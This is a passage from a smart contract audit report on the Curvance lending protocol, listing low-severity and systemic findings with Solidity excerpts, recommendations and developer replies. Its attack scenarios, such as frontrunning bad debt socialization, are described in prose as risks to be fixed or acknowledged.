An edge case would be if admin forgot to `cToken[asset]`, which defaults to `address(0)`. Then we'd use native ETH's adaptor to price the collateral, which is undesirable.

As for why we should use always use `address(0)` to price native ETH, is because SwapperLib supports native ETH swaps, and Odos Router assumes ETH is `address(0)`, and when we use SwapperLib's safe swap function, it checks for slippage which checks `address(0)`'s price oracle here.

Suggest to always check `cTokens[asset]` is non-zero for OracleManager.

https://github.com/sherlock-audit/2025-08-curvance-august-25th/blob/main/curvance-contracts/contracts/oracles/OracleManager.sol#L357

```
    function getPriceIsolatedPair(
        address collateralToken,
        address debtToken,
        uint256 errorCodeBreakpoint
    ) external view returns (
        uint256 collateralSharesPrice,
        uint256 debtUnderlyingPrice
    ) {
        ...
```

```
        (debtUnderlyingPrice, errorCode) = getPrice(
@>          cTokens[debtToken],
            true,
            false
        );
        ...
    }

    function getPricesForMarket(
        address account,
        address[] calldata assets,
        uint256 errorCodeBreakpoint
    ) external view returns (
        AccountSnapshot[] memory,
        uint256[] memory,
        uint256
    ) {
        ...
        for (uint256 i; i < numAssets; ++i) {
            asset = assets[i];
            snapshots[i] = ICToken(asset).getSnapshot(account);

            // If the asset is being used as collateral the users liquidity is
            // priced in shares, if theyre borrowing the outstanding debt is
            // measured in assets (underlying).
            (prices[i], errorCode) = getPrice(
@>              snapshots[i].isCollateral ? asset : cTokens[asset],
                true,
                snapshots[i].isCollateral
            );
            ...
        }
        ...
    }
```

Impact

Admins not setting `cTokens[asset]` won't cause OracleManager to revert, but use native ETH oracle as subsitute for the token.

Recommendation

Always check `cTokens[asset]` is set in OracleManager.

Discussion

ZeroXMai

done @gas-limit

Issue L-16: Dead shares should mint to address(0) instead of cToken. [RESOLVED]

Source: https://github.com/sherlock-audit/2025-08-curvance-august-25th/issues/84

Summary

Dead shares should mint to address(0) instead of cToken.

Vulnerability Detail

Dead shares are used as a way to avoid initial deposit or share rounding bugs. When we list the cToken, 77777 shares and assets are minted to the cToken itself, and assumed as dead shares.

However, since each cToken has a rescue function, technically the DAO can retrieve the shares from cToken and redeem. This means the shares can go below 77777, which is undesirable.

https://github.com/sherlock-audit/2025-08-curvance-august-25th/blob/main/curvance-contracts/contracts/oracles/OracleManager.sol#L357

```
    function _initializeDeposits(address by) internal virtual {
        ...

        uint256 assets = _BASE_UNDERLYING_RESERVE;

        ...

        uint256 shares = _initialConvertToShares(assets);
@>      _mint(cTokenAddress, shares);
        _totalAssets = assets;

        ...
    }

    function rescueToken(address token, uint256 amount) external {
```

```
        _checkDaoPermissions();

        if (token == asset()) {
            _revert(_UNAUTHORIZED_SELECTOR);
        }

        RescueLib._rescueToken(centralRegistry, token, amount);
    }
```

Impact

The shares can go below 77777.

Recommendation

Mint to address(0) instead.

Discussion

ZeroXMai

@gas-limit done

Issue L-17: `BasePositionManager::depositAndLeverage` should use `cToken.depositAsCollateral` for simplicity. [RESOLVED]

Source: https://github.com/sherlock-audit/2025-08-curvance-august-25th/issues/85

Summary

`BasePositionManager::depositAndLeverage` should use `cToken.depositAsCollateral` for simplicity.

Vulnerability Detail

`cToken.depositAsCollateralFor` function requires user setting the PositionManager as delegate, while the `cToken.depositAsCollateral` does not require this, and is designed PositionManager to use. By changing to `cToken.depositAsCollateral`, we can save the user from approving the PositionManager as delegate.

https://github.com/sherlock-audit/2025-08-curvance-august-25th/blob/main/curvance-contracts/contracts/market/position-management/BasePositionManager.sol#L183

```
    function depositAndLeverage(
        uint256 assets,
        LeverageAction calldata action,
        uint256 slippage
    ) external checkSlippage(msg.sender, slippage) nonReentrant {
        ICToken cToken = action.cToken;
        address collateralAsset = cToken.asset();

        // Transfer `collateralAsset` to deposit.
        SafeTransferLib.safeTransferFrom(
            collateralAsset,
            msg.sender,
            address(this),
            assets
```

```
        );

        // Approve cToken to process a deposit.
        SwapperLib._approveIfNeeded(collateralAsset, address(cToken), assets);

        // Deposit and collateralize `collateralAsset` in cToken contract.
@>      cToken.depositAsCollateralFor(assets, msg.sender);

        // Execute leverage operation.
        _leverage(action, msg.sender);
    }
```

https://github.com/sherlock-audit/2025-08-curvance-august-25th/blob/main/curvance-contracts/contracts/market/token/BaseCToken.sol#L220-L263

```
    function depositAsCollateral(
        uint256 assets,
        address receiver
    ) external nonReentrant returns (uint256 shares) {
        if (
            msg.sender != receiver &&
@>          !marketManager.isPositionManager(msg.sender)
        ) {
            _revert(_UNAUTHORIZED_SELECTOR);
        }
        ...
    }

    function depositAsCollateralFor(
        uint256 assets,
        address receiver
    ) external nonReentrant returns (uint256 shares) {
        _checkDelegate(receiver, msg.sender);
        ...
    }
```

Impact

Save the user from approving the PositionManager as delegate.

Recommendation

Use `depositAsCollateral()` function.

Discussion

ZeroXMai

@gas-limit done

Issue L-18: Redundant code and documentation errors. [RESOLVED]

Source: https://github.com/sherlock-audit/2025-08-curvance-august-25th/issues/86

Redundant code and documentation errors.

Vulnerability Detail

1. Documentation error in CentralRegistry

The following two functions comments says only callable by EC, but checks for ElevatedPermissions (which also includes 5-day timelocks).

https://github.com/sherlock-audit/2025-08-curvance-august-25th/blob/main/curvance-contracts/contracts/architecture/CentralRegistry.sol#L367
https://github.com/sherlock-audit/2025-08-curvance-august-25th/blob/main/curvance-contracts/contracts/architecture/CentralRegistry.sol#L744

```
@>  /// @dev Only callable by the Emergency Council.
    ///      Emits a {GenesisEpochUpdated} event.
    /// @param newGenesisEpoch The new genesis epoch.
    function setGenesisEpoch(uint256 newGenesisEpoch) external {
        ...
@>      _checkElevatedPermissions();
        ...
    }

    /// @notice Sets the target token emissions for each Protocol Era.
@>  /// @dev Only callable by the Emergency Council.
    /// @param epochEmissions The initial token emissions value that the
    ///                       protocol should allocate, per epoch.
    function setEraTargetEmissions(uint256 epochEmissions) external {
@>      _checkElevatedPermissions();
...
    }
```

2. Redundant code in DAOTimelock

The following 4 lines are redundant.

https://github.com/sherlock-audit/2025-08-curvance-august-25th/blob/main/curvance-contracts/contracts/architecture/DAOTimelock.sol#L90-L93

```
        if (registryDaoAddress != timelockDaoAddress) {
            _revokeRole(PROPOSER_ROLE, timelockDaoAddress);
            _revokeRole(EXECUTOR_ROLE, timelockDaoAddress);
            _revokeRole(CANCELLER_ROLE, timelockDaoAddress);

            _grantRole(PROPOSER_ROLE, registryDaoAddress);
            _grantRole(EXECUTOR_ROLE, registryDaoAddress);
            _grantRole(CANCELLER_ROLE, registryDaoAddress);
            _DAO_ADDRESS = registryDaoAddress;
@>          _grantRole(PROPOSER_ROLE, registryDaoAddress);
@>          _grantRole(EXECUTOR_ROLE, registryDaoAddress);
@>          _grantRole(CANCELLER_ROLE, registryDaoAddress);
@>          _DAO_ADDRESS = registryDaoAddress;
        }
```

3. Wrong event emit in `BaseCToken::_initializeDeposits`

First param should be `by` instead of `cTokenAddress`.

https://github.com/sherlock-audit/2025-08-curvance-august-25th/blob/main/curvance-contracts/contracts/market/token/BaseCToken.sol#L1119

```
    function _initializeDeposits(address by) internal virtual {
        ...
@>      emit Deposit(cTokenAddress, cTokenAddress, assets, shares);
        ...
    }
```

4. Simplify check in `BaseOracleAdaptor::setGuardedPriceConfig`

The first check is not required, as it is covered by the second check.

https://github.com/sherlock-audit/2025-08-curvance-august-25th/blob/main/curvance-contracts/contracts/oracles/adaptors/BaseOracleAdaptor.sol#L112

```
        if (
-           timestampStart > block.timestamp ||
            block.timestamp - timestampStart < _MINIMUM_TIMESTAMP_BUFFER
        ) {
            revert BaseOracleAdaptor__InvalidTimestamp();
        }
```

5. No need to approve wrappedNative in `NativeVaultZapper::swapAndDeposit`

No need to approve to weth to withdraw.

https://github.com/sherlock-audit/2025-08-curvance-august-25th/blob/main/curvance-contracts/contracts/plugins/market/NativeVaultZapper.sol#L86

```
@>          SwapperLib._approveIfNeeded(
                wrappedNative,
                wrappedNative,
                swapAction.inputAmount
            );
            IWETH(wrappedNative).withdraw(swapAction.inputAmount);
            outAmount = swapAction.inputAmount;
```

6. Revoke approval at the end of `VaultZapper::swapAndDeposit`

Consider removing the approval after vault.deposit, in case we have leftover allowance (shouldn't be the case, but just to be safe).

https://github.com/sherlock-audit/2025-08-curvance-august-25th/blob/main/curvance-contracts/contracts/plugins/market/VaultZapper.sol#L103-L110

```
SwapperLib._approveIfNeeded(
    swapAction.outputToken,
```

```
    address(vault),
    outAmount
);

// Deposit into vault.
outAmount = vault.deposit(outAmount, address(this));

// @audit-note: No revoking approval here.
```

7. `BaseOracleAdaptor::setGuardedPriceConfig` only checks minPrice but not basePrice.

When setting the price guards, we only check minPrice <= currentPrice. We should also add a check for currentPrice <= basePrice, to prevent incorrect parameter setting.

https://github.com/sherlock-audit/2025-08-curvance-august-25th/blob/main/curvance-contracts/contracts/oracles/adaptors/BaseOracleAdaptor.sol#L141-L146

```
uint256 guardedMinPrice =
    _guardedPrice(block.timestamp - timestampStart, ips, minPrice);

if (guardedMinPrice > result.price) {
    revert BaseOracleAdaptor__MinPriceAboveCurrentPrice();
}
```

Discussion

ZeroXMai

Done @gas-limit

@pkqs90 4) I dont think we do because goal is to not use panic errors but rather custom errors. I dont think.

7) is necessary because we have a min > base check which means the min check will always be more aggressive than any additional base price check.

pkqs90

@ZeroXMai Got it for 4. For 7, see this comment

> The checks we have right now: 1) minPrice <= basePrice (L130), 2) minPrice <= currentPrice (L144). I think we can also add a check for currentPrice <= basePrice, which doesn't exist now

Say, minPrice = 10, basePrice = 20. But currentPrice = 30. This is something we want to avoid right, but it can pass the current checks.

ZeroXMai

Got it, so its more-so a maximum check rather than a minimum check

Issue L-19: BasePositionManager doesn't check cToken/borrowableCToken for leverage/deleverage actions, allowing users to take over control during transaction. [RESOLVED]

Source: https://github.com/sherlock-audit/2025-08-curvance-august-25th/issues/87

Summary

BasePositionManager doesn't check cToken/borrowableCToken for leverage/deleverage actions, allowing users to take over control during transaction.

Vulnerability Detail

During the callback functions of leverage/deleverage `onBorrow` and `onRedeem`, we don't check the user input `action.cToken` and `action.borrowableCToken` are the expected token addresses. This allows malicious users to pass in a malicious contract to take over control flow.

However, similar to a flashloan, after the `onBorrow` and `onRedeem` callback functions, we check the user position liquidity is solvent. Also, for all external functions for cTokens, there is a reentrancy guard, so we can't perform a reentrancy attack.

Given the above two constraints, we haven't come up with a valid attack vector. But from a security perspective, adding a check (i.e. is token listed in the market manager) here is much more future proof and recommended.

https://github.com/sherlock-audit/2025-08-curvance-august-25th/blob/main/curvance-contracts/contracts/market/position-management/BasePositionManager.sol#L369
https://github.com/sherlock-audit/2025-08-curvance-august-25th/blob/main/curvance-contracts/contracts/market/position-management/BasePositionManager.sol#L449

```
    function onBorrow(
        address borrowableCToken,
```

```
        uint256 borrowAssets,
        address owner,
        LeverageAction memory action
    ) external override {
        ...

        // We do not need to check whether cToken is listed
        // or not as even if they found a way to input a malicious
        // token here the post conditional solvency check will revert
        // the whole operation.
        ICToken cToken = action.cToken;

        ...

        // Approve `amount` of `collateralAsset` to `cToken` contract.
        SwapperLib._approveIfNeeded(
            collateralAsset,
            address(cToken),
            amount
        );

        // Enter Curvance collateral position.
@>      cToken.depositAsCollateral(amount, owner);

        ...
    }

    function onRedeem(
        address cToken,
        uint256 collateralAssets,
        address owner,
        DeleverageAction memory action
    ) external override {
        ...

        // We do not need to check whether `borrowableCToken` is listed
        // or not as even if they found a way to input a malicious
        // token here the post conditional solvency check will revert
```

```
        // the whole operation.
        IBorrowableCToken borrowableCToken = action.borrowableCToken;

        ...

        // Approve `repayAssets` of `debtAsset` to `borrowableCToken` contract.
        SwapperLib._approveIfNeeded(
            debtAsset,
            address(borrowableCToken),
            repayAssets
        );

        // Repay debt.
@>      borrowableCToken.repayFor(repayAssets, owner);

        ...
    }
```

Impact

Did not find any attack vectors given the liquidity check and reentrancy guards.

Recommendation

Check whether the token is listed, to prevent from potential attacks and make the code more future-proof.

Discussion

ZeroXMai

fixed @gas-limit

ZeroXMai

Also added a msg.sender == cToken input in addition to the check above

Systemic Issue S-1: User may not be able to save his position from liquidation during 20 minute cooldown period. [ACKNOWLEDGED]

Source: https://github.com/sherlock-audit/2025-08-curvance-august-25th/issues/65

This issue has been acknowledged by the team but won't be fixed at this time.

Summary

User may not be able to save his position from liquidation during 20 minute cooldown period.

Vulnerability Detail

In Curvance, when a user borrows debt at timestamp T, he cannot repay the debt until 20 minutes later. This is the cooldown mechanism to deal with borrow rate manipulation.

During this 20 minutes, if price moves drastically, and user's position faces liquidation, he can only save his position by adding collateral. However, there are two scenarios where he also can't add collateral:

1. Collateral is paused.
2. Collateral hits collateral cap.

- For the 1st scenario, admin can handle it by pausing liquidation once collateralization/mint is paused.
- For the 2nd scenario, the user can't do anything. There is even an attack vector - an attacker can frontrun user deposits by depositing tons of collateral so the cap is hit, which prevents users from saving their position.

https://github.com/sherlock-audit/2025-08-curvance-august-25th/blob/main/curvance-contracts/contracts/market/isolated/MarketManagerIsolated.sol#L384-L393

```
function canCollateralize(
    address collateralToken,
    address account,
    uint256 newNetCollateral
) external {
    ...
    if (_tokenConfig[collateralToken].collateralizationPaused == 2) {
        revert MarketManager__Paused();
    }

    // This also acts as a check that collateralization ratio is > 0,
    // since collateralCaps can only be raised above zero if the
    // its collateralization ratio is > 0.
    if (newNetCollateral > collateralCaps[collateralToken]) {
        revert MarketManager__CapReached();
    }
    ...
}
```

Impact

During the 20 minute cooldown where user can't repay his debt position, if adding collateral is also restricted, then user can't do anything to save his position from liquidation.

Recommendation

I'm not sure how to perfectly solve this as it touches a fundamental part of curvance's design.

Discussion

ZeroXMai

acknowledged

Systemic Issue S-2: Bad debt socialization can be frontrun [ACKNOWLEDGED]

Source: https://github.com/sherlock-audit/2025-08-curvance-august-25th/issues/56

This issue has been acknowledged by the team but won't be fixed at this time.

Vulnerability Detail

If there is a bad debt from a liquidation, the bad debt will be immediately socialized among all lenders in the vault.

Assume that there are two (2) lenders (Alice and Bob) in the vault:

- Each of them holds 50% of the total supply
- Total asset = 1000 DAI, Total Supply = 1000 shares

The price of collateral falls sharply over a short period of time, and one of the positions incurs a bad debt of 200 DAI. If a liquidation is executed against this position, the bad debt of 200 DAI will be socialized against all lenders. In this case, Alice and Bob will each absorb a loss of 100 DAI equally.

However, Bob can observe the mempool, and if he notices any liquidation that will apply a bad debt to the vault, he will try to front-run the liquidation TX to withdraw all his shares. In this case, Alice will absorb the entire bad debt of 200 DAI. If Bob wishes, he can re-enter the vault and enjoy the upside again (debt interest accrual), and this time he will mint more shares (500 DAI / 0.8 price) and own ~55% of the vault.

As a result, the ”slower” users will always absorb more loss if debt socialization occurs.

Impact

”Slower” users will always absorb more loss if debt socialization occurs.

Code Snippet

Tool Used

Manual Review

Recommendation

Consider reducing the risk by ensuring that appropriate LTV/collateral requirements are configured in the market, and a robust and efficient liquidation system is in place to ensure that positions get liquidated promptly before bad debt occurs.

Discussion

ZeroXMai

acknowledged @gas-limit

xiaoming9090

Downgraded this issue to Informational. Understood that this is part of the design trade-off of the protocol. Nevertheless, this risk should still be reflected in the report so that potential users are aware of this.

lpetroulakis

This issue will be categorized as systemic.

Disclaimers

Blackthorn does not provide guarantees nor warranties relating to the security of the project.

Usage of all smart contract software is at the respective users' sole risk and is the users' responsibility.